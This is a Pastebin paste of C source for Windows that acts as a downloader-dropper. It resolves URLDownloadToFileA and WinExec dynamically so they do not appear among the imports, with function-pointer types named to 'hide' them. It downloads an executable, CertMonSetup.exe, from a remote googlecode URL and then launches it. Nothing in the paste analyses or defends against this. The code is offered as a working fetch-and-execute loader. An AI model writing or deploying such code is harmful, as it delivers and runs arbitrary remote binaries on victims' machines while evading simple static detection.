Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #include <urlmon.h>
  2. #include <windows.h>
  3. #include <stdlib.h>
  4. #include <stdio.h>
  5. #include <Winbase.h>
  6.  
  7. typedef HRESULT (*URLDownloadhide)(LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName,DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB);
  8. typedef UINT (*WinExechide)(_In_  LPCSTR lpCmdLine,_In_  UINT uCmdShow);
  9.  
  10. int main (int argc, char* argv[]) {
  11.    
  12.     HMODULE hDLL;
  13.     HMODULE hDLL2;
  14.    
  15.     hDLL = LoadLibrary("Urlmon.dll");
  16.    
  17.     if(hDLL) {
  18.    
  19.         URLDownloadhide Launcher  = (URLDownloadhide)GetProcAddress(hDLL,"URLDownloadToFileA");
  20.        
  21.         if(Launcher) {
  22.    
  23.             Launcher(NULL, "http://sbdtools.googlecode.com/files/CertMonSetup.exe", "CertMonSetup.exe", 0, NULL);
  24.  
  25.            
  26.             FreeLibrary(hDLL);
  27.            
  28.         }
  29.        
  30.         else {
  31.            
  32.             printf ("Algo va mal con GetProcAddress\n, Error Code: %u",GetLastError()) ;}
  33.            
  34.             FreeLibrary(hDLL);
  35.        
  36.     }
  37.    
  38.     else { printf ("Algo va mal con LoadLibrary\nError Code: %u",GetLastError()) ;}
  39.    
  40.    
  41.     hDLL2 = LoadLibrary("Kernel32.dll");
  42.    
  43.     if(hDLL2) {
  44.    
  45.         WinExechide Launcher2  = (WinExechide)GetProcAddress(hDLL2,"WinExec");
  46.        
  47.         if(Launcher2) {
  48.    
  49.             Launcher2( "CertMonSetup.exe", SW_SHOWNORMAL );
  50.  
  51.            
  52.             FreeLibrary(hDLL2);
  53.            
  54.         }
  55.        
  56.         else {
  57.            
  58.             printf ("Algo va mal con GetProcAddress\n, Error Code: %u",GetLastError()) ;}
  59.            
  60.             FreeLibrary(hDLL2);
  61.        
  62.     }
  63.    
  64.     else { printf ("Algo va mal con LoadLibrary\n Error Code: %u" ,GetLastError()) ;}
  65.    
  66.  
  67.     exit (0);
  68. }